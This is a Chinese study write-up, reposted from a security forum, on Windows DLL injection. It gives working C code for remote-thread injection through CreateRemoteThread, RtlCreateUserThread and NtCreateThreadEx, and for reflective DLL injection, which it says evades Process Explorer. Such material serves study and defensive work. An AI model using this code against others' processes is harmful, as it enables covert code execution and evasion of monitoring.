dll注入&代码注入 学习总结

本文为看雪论坛优秀文章

看雪论坛作者ID:pyikaaaa

CreateRemoteThread

思路:在目标进程中申请一块内存并向其中写DLL路径,然后调用 CreateRemoteThread ,(在自己进程中 创建远程线程到到目标进程)在目标进程中创建一个线程。

LoadLibrary()”函数作为线程的启动函数,来加载待注入的DLL文件 ,LoadLibrary()参数 就是存放DLL路径的内存指针。

这时需要目标进程的4个权限(PROCESS_CREATE_THREAD,PROCESS_QUERY_INFORMATION,PROCESS_VM_OPERATION,PROCESS_VM_WRITE)

//计算DLL路径名所需的字节数 DWORD dwSize = (lstrlenW(pszLibFile) + 1) * sizeof(wchar_t); // 获取传递进程ID的进程句柄 HANDLE hProcess = OpenProcess( PROCESS_QUERY_INFORMATION | PROCESS_CREATE_THREAD | PROCESS_VM_OPERATION | PROCESS_VM_WRITE,//目标进程的四个权限 FALSE, dwProcessId); // 在远程进程中为路径名分配空间 LPVOID pszLibFileRemote = (PWSTR)VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_READWRITE); // 将DLL的路径名复制到远程进程地址空间 //pszLibFile:要注入的dll的路径 pathname DWORD n = WriteProcessMemory(hProcess, pszLibFileRemote, (PVOID)pszLibFile, dwSize, NULL); //在Kernel32.dll中获取LoadLibraryW的实际地址 PTHREAD_START_ROUTINE pfnThreadRtn = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(TEXT(“Kernel32”)), “LoadLibraryW”); //创建一个调用LoadLibraryW(DLLPathname)的远程线程 // CreateRemoteThread(目标进程句柄,NULL,0,线程函数指针,线程函数参数,0,NULL) HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, pfnThreadRtn, pszLibFileRemote, 0, NULL); // 等待远程线程终止 WaitForSingleObject(hThread, INFINITE); // 释放包含DLL路径名的远程内存并关闭句柄 if (pszLibFileRemote != NULL) //开辟的内存已经注入进数据 VirtualFreeEx(hProcess, pszLibFileRemote, 0, MEM_RELEASE); //关闭线程和进程函数句柄 if (hThread != NULL) CloseHandle(hThread); if (hProcess != NULL) CloseHandle(hProcess); return(0); }

RtlCreateUserThread

RtlCreateUserThread()”调用“NtCreateThreadEx(),这意味着“RtlCreateUserThread()”是“NtCreateThreadEx()”的一个小型封装函数。

HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId); LPVOID LoadLibraryAddress = (LPVOID)GetProcAddress(GetModuleHandle(L”kernel32.dll”), “LoadLibraryW”); RtlCreateUserThread = (pRtlCreateUserThread)GetProcAddress(GetModuleHandle(L”ntdll.dll”), “RtlCreateUserThread”); #ifdef _DEBUG wprintf(TEXT(“[+] Found at 0x%08x\n”), (UINT)RtlCreateUserThread); wprintf(TEXT(“[+] Found at 0x%08x\n”), (UINT)LoadLibraryAddress); #endif DWORD dwSize = (wcslen(pszLibFile) + 1) * sizeof(wchar_t); LPVOID lpBaseAddress = VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); BOOL bStatus = WriteProcessMemory(hProcess, lpBaseAddress, pszLibFile, dwSize, NULL); bStatus = (BOOL)RtlCreateUserThread( hProcess, NULL, 0, 0, 0, 0, LoadLibraryAddress, lpBaseAddress, &hRemoteThread, NULL); if (bStatus < 0) { wprintf(TEXT(“[-] Error: RtlCreateUserThread failed\n”)); return(1); } else { wprintf(TEXT(“[+] Remote thread has been created successfully …\n”)); WaitForSingleObject(hRemoteThread, INFINITE); CloseHandle(hProcess); VirtualFreeEx(hProcess, lpBaseAddress, dwSize, MEM_RELEASE); return(0); } return(0); }

总结:

openprocess 获得目标进程句柄

getprocaddress 获得loadlibrary地址

getprocaddress 获得RtlCreateUserThread地址

获得dll文件==路径==大小

virtualalloc 在目标进程中开辟路径大小的空间

writeprocess写dll路径名进内存

bStatus = (BOOL)RtlCreateUserThread(

hProcess,

NULL,

0,

0,

0,

0,

LoadLibraryAddress,

lpBaseAddress, 存有dll路径的内存地址 指针类型

&hRemoteThread,

NULL);

NtCreateThreadEx

memset(&ntbuffer, 0, sizeof(NtCreateThreadExBuffer)); DWORD dwSize = (lstrlenW(pszLibFile) + 1) * sizeof(wchar_t); HANDLE hProcess = OpenProcess( PROCESS_QUERY_INFORMATION | PROCESS_CREATE_THREAD | PROCESS_VM_OPERATION | PROCESS_VM_WRITE, FALSE, dwProcessId); LPVOID pszLibFileRemote = (PWSTR)VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_READWRITE); int n = WriteProcessMemory(hProcess, pszLibFileRemote, (LPVOID)pszLibFile, dwSize, NULL); PTHREAD_START_ROUTINE pfnThreadRtn = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(TEXT(“Kernel32”)), “LoadLibraryW”); PTHREAD_START_ROUTINE ntCreateThreadExAddr = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(TEXT(“ntdll.dll”)), “NtCreateThreadEx”); if (ntCreateThreadExAddr) { ntbuffer.Size = sizeof(struct NtCreateThreadExBuffer); ntbuffer.Unknown1 = 0x10003; ntbuffer.Unknown2 = 0x8; ntbuffer.Unknown3 = (DWORD*)&dwTmp2; ntbuffer.Unknown4 = 0; ntbuffer.Unknown5 = 0x10004; ntbuffer.Unknown6 = 4; ntbuffer.Unknown7 = (DWORD*)&dwTmp1; ntbuffer.Unknown8 = 0; LPFUN_NtCreateThreadEx funNtCreateThreadEx = (LPFUN_NtCreateThreadEx)ntCreateThreadExAddr; NTSTATUS status = funNtCreateThreadEx( &hRemoteThread, 0x1FFFFF, NULL, hProcess, pfnThreadRtn, (LPVOID)pszLibFileRemote, FALSE, NULL, NULL, NULL, &ntbuffer //这里原来是NULL,但是跑的时候也可以注入,懵逼 ); #ifdef _DEBUG wprintf(TEXT(“[+] Status: %s\n”), status); #endif if (status != NULL) // FIXME: always returns NULL even when it suceeds. Go figure. { wprintf(TEXT(“[-] NtCreateThreadEx Failed! [%d][%08x]\n”), GetLastError(), status); return(1); } else { wprintf(TEXT(“[+] Success: DLL injected via NtCreateThreadEx().\n”)); WaitForSingleObject(hRemoteThread, INFINITE); } } if (pszLibFileRemote != NULL) VirtualFreeEx(hProcess, pszLibFileRemote, 0, MEM_RELEASE); if (hRemoteThread != NULL) CloseHandle(hRemoteThread); if (hProcess != NULL) CloseHandle(hProcess); return(0); }

总结:openprocess 获得目标进程句柄

getprocaddress 获得loadlibrary地址

getprocaddress 获得NtCreateThreadEx地址

获得dll文件==路径==大小

virtualalloc 在目标进程中开辟路径大小的空间

writeprocess写dll路径名进内存

利用NtCreateThreadEx 进行 dll注入

以上三种远程线程注入函数的区别:

CreateRemoteThread 和RtlCreateUserThread都调用 NtCreateThreadEx创建线程实体。

RtlCreateUserThread不需要csrss验证登记 需要自己结束自己 而CreateRemoteThread 不一样,不用自己结束自己。

线程函数不由createthread执行 而是kernal32!baseThreadStart 或者 kernal32!baseThreadInitThunk 执行,结束后 还会调用 exitthread 和 rtlexituserthread 结束线程自身 。

ZwCreateThreadEx

同理,与CreateRemoteThread或RtlCreateUserThread或NtCreateThreadEx用法类似,也是创建远程线程实现注入。

反射式dll注入

在别人的内存里调用自己编写的dll导出函数 ,自己dll导出函数里实现自我加载(加载PE的整个过程),少了使用LoadLibrary的过程。

反射式注入方式并没有通过LoadLibrary等API来完成DLL的装载,DLL并没有在操作系统中”注册”自己的存在,因此ProcessExplorer等软件也无法检测出进程加载了该DLL。

//LoadRemoteLibraryR 函数说明 extern “C” HANDLE __stdcall LoadRemoteLibraryR(HANDLE hProcess, LPVOID lpBuffer, DWORD dwLength, LPVOID lpParameter); DWORD demoReflectiveDllInjection(PCWSTR cpDllFile, DWORD dwProcessId) { HANDLE hFile = NULL;//创建的dll文件句柄 HANDLE hModule = NULL;//开辟的堆空间句柄 HANDLE hProcess = NULL;//目标进程句柄 LPVOID lpBuffer = NULL; DWORD dwLength = 0; DWORD dwBytesRead = 0; do { hFile = CreateFileW(cpDllFile, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); dwLength = GetFileSize(hFile, NULL); #ifdef _DEBUG wprintf(TEXT(“[+] File Size: %d\n”), dwLength); #endif //为dll文件开辟堆空间 !!!!!!!!这是在自己的进程内存中 分配堆内存 lpBuffer = HeapAlloc(GetProcessHeap(), 0, dwLength); //将dll文件读进开辟的堆空间中 hfile–》lpbuffer if (ReadFile(hFile, lpBuffer, dwLength, &dwBytesRead, NULL) == FALSE) BREAK_WITH_ERROR(“[-] Failed to alloc a buffer!”); //获得目标进程的句柄 hProcess = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, FALSE, dwProcessId); // LoadRemoteLibraryR:在dll模块加载到内存时获取入口点,并且实现调用该函数(采用rtlcreateuserthread的方式)远程线程注入 hModule = LoadRemoteLibraryR(hProcess, lpBuffer, dwLength, NULL); WaitForSingleObject(hModule, -1); } while (0); //注入完毕,释放堆空间,关闭进程句柄 if (lpBuffer) HeapFree(GetProcessHeap(), 0, lpBuffer); if (hProcess) CloseHandle(hProcess); return 0; }

LoadRemoteLibraryR核心代码

//检查库是否有ReflectiveLoader // 获得dll文件的入口点偏移 dwReflectiveLoaderOffset = GetReflectiveLoaderOffset(lpBuffer);//lpbuffer:堆内存的指针 指向存有dll文件的堆内存空间 // alloc memory (RWX) in the host process for the image… //为映像分配内存 lpRemoteLibraryBuffer = VirtualAllocEx(hProcess, NULL, dwLength, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); // write the image into the host process… //将映像写入目标进程 /* BOOL WriteProcessMemory( HANDLE hProcess, LPVOID lpBaseAddress, 要写的内存首地址 LPVOID lpBuffer, 指向要写的数据的指针 DWORD nSize, LPDWORD lpNumberOfBytesWritten ); */ //将映像写入目标进程 lpRemoteLibraryBuffer 在目标进程中分配的内存空间 lpBuffer在该进程内存空间中分配的堆内存 // add the offset to ReflectiveLoader() to the remote library address… //lpRemoteLibraryBuffer 分配的内存地址 +dwReflectiveLoaderOffset 入口点偏移 lpReflectiveLoader = (LPTHREAD_START_ROUTINE)((ULONG_PTR)lpRemoteLibraryBuffer + dwReflectiveLoaderOffset); // create a remote thread in the host process to call the ReflectiveLoader! //OutputDebugString(“INJECTING DLL!”); //本身反射性dll 就隐蔽性高,自然不可以用createremoteprocess RtlCreateUserThread = (PRTL_CREATE_USER_THREAD)(GetProcAddress(GetModuleHandle(TEXT(“ntdll”)), “RtlCreateUserThread”)); RtlCreateUserThread(hProcess, NULL, 0, 0, 0, 0, lpReflectiveLoader, lpParameter, &hThread, NULL); //lpReflectiveLoader 线程函数地址,dll入口函数地址 lpParameter 参数 WaitForSingleObject(hThread, INFINITE); //释放掉为dll映像分配的内存 VirtualFreeEx(hProcess, lpRemoteLibraryBuffer, dwLength, MEM_RELEASE); } while (0); } __except (EXCEPTION_EXECUTE_HANDLER) { hThread = NULL; } return hThread; }

总结:

在自己进程内存中heapalloc,将dll文件 readfile进heapalloc出的内存中,openprocess 获得进程句柄。

LoadRemoteLibraryR 函数获得dll入口函数的地址,并且利用远程线程注入rtlcreateuserprocess 实现 对dll入口函数的调用。

{获得dl文件的入口点偏移 :GetReflectiveLoaderOffset(lpBuffer);//lpbuffer:堆内存的指针 指向存有dll文件的堆内存空间

为映像分配内存 virtualalloc,writeprocessmemory 映像写进目标进程内存,函数真实地址是 分配的内存首地址加上函数在dll文件中的偏移。

远程线程函数注入 call

}

完整阅读请点击:

dll注入&代码注入 学习总结 (qq.com)

© 版权声明
THE END
喜欢就支持一下吧
点赞9 分享
评论 抢沙发
头像
欢迎您留下宝贵的见解!
提交
头像

昵称

取消
昵称表情代码图片